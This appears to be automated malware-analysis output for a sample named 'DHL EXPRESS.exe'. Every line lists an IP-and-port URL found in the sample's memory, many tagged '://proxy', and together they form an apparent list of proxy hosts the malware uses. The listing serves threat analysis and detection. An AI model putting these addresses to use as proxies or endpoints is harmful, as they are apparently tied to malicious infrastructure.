Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.255.198.8:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.255.198.8:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.146:8123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.146:8123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.148
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.148://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://169.57.157.148:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.187.225.102://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.187.225.102:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.210.121.190:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.210.121.190:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.205
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.205.1:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.205.1:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.205.3:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.205.3:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.207.241:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.239.207.241:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.244.64.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.244.64.12:31476
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.244.64.12:31476://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.244.64.198:31476
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.244.64.198:31476://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.80.242.98:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.80.242.98:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.81.108.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.81.108.46:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.81.108.46:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.81.160.124:42832
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD9EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.83.77.246:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.84.205.17:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://170.84.205.17:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.100.23.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.100.23.244:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.100.23.244:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.22.108.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.22.108.188:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.22.108.188:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.235.166.222:4019
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.235.166.222:4019://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:13391
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:13391://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:15141
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:15141://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:27056
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:27056://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:37400
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:37400://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:5189
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:5189://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.140.160:53749
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADD23000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.68.28:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.244.68.28:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.248.209.6:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.248.209.6:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.97.107.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.97.107.108:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://171.97.107.108:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.104.145.22:9064
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.104.145.22:9064://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.105.107.223:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.105.107.223:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.173.132.85
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.173.132.85://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.173.132.85:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.235.10.53
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.235.10.53://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.235.10.53:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.152.98
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.152.98://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.152.98:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.80.55
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.80.55://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.80.55:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.86.217
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.86.217://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.86.217:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.105.234
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.105.234://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.105.234:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.127.188
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.127.188://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.127.188:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.14.237
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.14.237://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.14.237:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.150.173
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.150.173://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.150.173:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.107
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.107://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.107:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.12
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.129:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.12://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.12:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.136:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.147
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.147://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.147:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.149
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.149://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.149:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.17
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.17://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.17:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.197
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.197://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.197:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.32
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.32://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.32:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.89
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.89://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.89:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.97
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.97://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.97:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.0
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.0://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.0:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.102
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.102://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.102:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.107
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.107://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.107:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.126
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.126://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.126:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.153:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.165
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.165://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.165:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.169
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.169://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.169:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.22
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.22://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.22:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.48
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.48://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.48:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.77
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.77://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.77:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.96
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.96://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.96:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.185.199:13335
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.185.199:13335://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.187.242
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.187.242://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.187.242:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.206.105://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.206.105:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.209.12
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.209.12://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.209.12:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.219.60
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.219.60://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.219.60:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.231.3
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.231.3://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.231.3:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.254.127
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.254.127://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.254.127:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.255.224
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.255.224://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.108
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.108://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.108:80
